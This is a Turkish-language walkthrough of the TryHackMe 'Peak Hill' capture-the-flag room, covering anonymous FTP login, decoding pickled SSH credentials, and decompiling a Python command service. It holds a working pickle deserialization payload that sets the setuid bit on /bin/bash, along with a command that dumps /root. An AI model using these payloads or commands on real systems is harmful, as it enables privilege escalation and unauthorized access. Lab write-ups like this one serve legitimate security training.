TryHackMe PEAK HILL Çözümü

Merhaba arkadaşlar, python bilgisi gereken bu oda da tipik olarak nmap taramamı yaptım.

ftp ile anonim girmeyi denedim ve kabul etti :

Name anonymous

Parola anonymus

Şimdi neler yapabiliyoruz neler buluyoruz bir bakalım

Burada .creds dikkatimi çekti. Önce test.txt ye bakalım.

İçinden bu çıktı

Belki bir yerde yarayabilir dursun bakalım.

.creds içi

10000000000000110101110101110001000000000010100001011000000010100000000000000000000000000111001101110011011010000101111101110000011000010111001101110011001100010011010101110001000000010101100000000001000000000000000000000000011101010111000100000010100001100111000100000011010110000000100100000000000000000000000001110011011100110110100001011111011101010111001101100101011100100011000101110001000001000101100000000001000000000000000000000000011010000111000100000101100001100111000100000110010110000000101000000000

bu şekilde devam ediyor, binary ve sanırım bunu çözmemiz lazım 🙂 text çevirelim

Burada dikkatimi çeken şeyler var :

Dosya, sunucuya ssh için kullanılabilecek bir kullanıcı adı ve parola için kimlik bilgileri içeriyor gibi görünüyor, tek sorun bunların nasıl çözüleceğidir. Bunun için python pickle kullanıcaz , daha önce denk geldiniz mi bilmiyorum ama pickle içinde “ssh_user” ve “ssh_pass” gibi, pickle adını içerdiğini görebilirsiniz.

Bu bir python bayt kodu dosyasıdır, bayt kodunu okumaya çalışabiliriz veya kaynak koda dönüştürebiliriz

Buldugum kod betiği :

import binascii

import pickle

“””

convert the binary string into a valid python 2 integer”

“””

binary_string = int(open(“.creds”,”r”).read(),2)

“””

decode the binary string into a byte string

“””

pickle_bytes = binascii.unhexlify(“%x” % int(open(“.creds”,”r”).read(),2))

“””

use the load method to unpickle the data into a python object

“””

unpickled_data = pickle.loads(pickle_bytes)

“””

set username and password variables to store the username and password, aswell as turn the tuples into dictionaries

“””

username = “”

password = “”

unpickled_data = dict(unpickled_data)

“””

use a for loop that iterates 27 times as the highest number is 27 for the password

“””

for i in range(28):

  “””

  since the amount of characters in the username is 6, we have to set up error handling to stop the loop from erroring out

  “””

  try:

    username+=unpickled_data[f”ssh_user{i}”]

  except:

    pass

  password+=unpickled_data[f”ssh_pass{i}”]

print(f”username = {username}”)

print(f”password = {password}”)

////////////////////////////////////////////////////////////////////////////////////////////////////

Kodu çalıştırdıgımızda

Bilgileri hemen kullanalım ve ssh ile bağlantı deneyelim:

ls ile sadece bir pyc dosyası oldugunu gördük:

Fakat hala ortada ne user.txt var ne root.txt var , ikinci kullanıcı bulmam lazım 🙂

# decompyle3 version 3.3.2
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.2 (default, Apr 27 2020, 15:53:34) 
# [GCC 9.3.0]
# Embedded file name: ./cmd_service.py
# Compiled at: 2020-05-14 12:55:16
# Size of source mod 2**32: 2140 bytes
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import *
import getpass, os, subprocess
username = long_to_bytes(1684630636)
password = long_to_bytes(2457564920124666544827225107428488864802762356)

class Service(socketserver.BaseRequestHandler):

    def ask_creds(self):
        username_input = self.receive(b'Username: ').strip()
        password_input = self.receive(b'Password: ').strip()
        print(username_input, password_input)
        if username_input == username:
            if password_input == password:
                return True
        return False

    def handle(self):
        loggedin = self.ask_creds()
        if not loggedin:
            self.send(b'Wrong credentials!')
            return
        self.send(b'Successfully logged in!')
        while True:
            command = self.receive(b'Cmd: ')
            p = subprocess.Popen(command,
              shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
            self.send(p.stdout.read())

    def send(self, string, newline=True):
        if newline:
            string = string + b'\n'
        self.request.sendall(string)

    def receive(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self.request.recv(4096).strip()


class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
    pass


def main():
    print('Starting server...')
    port = 7321
    host = '0.0.0.0'
    service = Service
    server = ThreadedService((host, port), service)
    server.allow_reuse_address = True
    server_thread = threading.Thread(target=(server.serve_forever))
    server_thread.daemon = True
    server_thread.start()
    print('Server started on ' + str(server.server_address) + '!')
    while True:
        sleep(10)


if __name__ == '__main__':
    main()
# okay decompiling cmd_service.pyc

Burada kali m de python sıkıntılı oldugu için parrot dan çalıştırdım ve burada içinde byte kodlardan bir kullanıcı adı ve parola daha buldum

şimdi tekrar bağlanalım :

buradaki key i kullalım kendi rsa_key imize ekleyelim :

şimdi ssh ile pass istemeden bağlanmasını sağlayalım :

user.txt ve flag burada

şimdi sudo -l ile sudo yetkilerimize bakalım:

Bunun içine girdiğimizde bi grov key i istediğini görüyoruz

key için yine bi pickle base 64 işimizi görecek

return kısmında /bin /bash izinler

import pickle
import base64

"""
Note: recall that pickle deserializes python objects, so we can write a class for this
"""

class Command(object):
    """
    whenever an object is pickled or unpickled, __reduce__ is called, this is useful in general terms as developers can use it to tell the pickle module how to serialize certain objects. It's useful in our case since we can know it will always be called
    """
    def __reduce__(self):
        import os
        return (os.system,("chmod u+s /bin/bash",))
    
print(base64.b64encode(pickle.dumps(Command())))

bu dosyayı aç sana özgü ürettiği bu kodu al yukarıda bizden istediği grow değeri için kullanıcaz.

Buraya değeri yapıştırın ve içerinden root flagını almaya çalışın.

Fakat hala bir sorunumuz var 🙂

en iyisi kendimizi kullanıcı olarak ekleyip ssh a o şekilde bağlanmayı deneyelim.

find /root/ -exec cat {} \;

flag burada .

Özetleyelim neler yaptık :

1-nmap ile tarama sonunda ftp açık oldugunu gördük

2-anonymous user pass ile ftp ile bağlantı sağladık

3-Burada .creds içinde bir binary kod gördük

4-bu kodu text çevirdik ssh ile bağlantı sağlamamız gerektiğini anladık.

5-Bir Python pickle koduna ihtiyacımız oldgunu gördük ve pickle modülünü çalıştırdık.

6-Burada başka bir kullanıcının user ve pass ini bulduk

7-ssh ile bu kullanıcıya bağlantı sağladık.

8-burada buldugumuz .pyc dosyasını çalıştırdık

9-.pyc içinde çıkan değerleri crypto util ile açtık ve asıl kullanıcımız user ı ve pass ı gördük.

10-ssh ile dill kullanıcısına bağlandık(bundan önce rsa_key ekledik unutmayalım)

11-sonrasında dill içinde user ve root flaglarını aldık.

Kolay gelsin…

Exit mobile version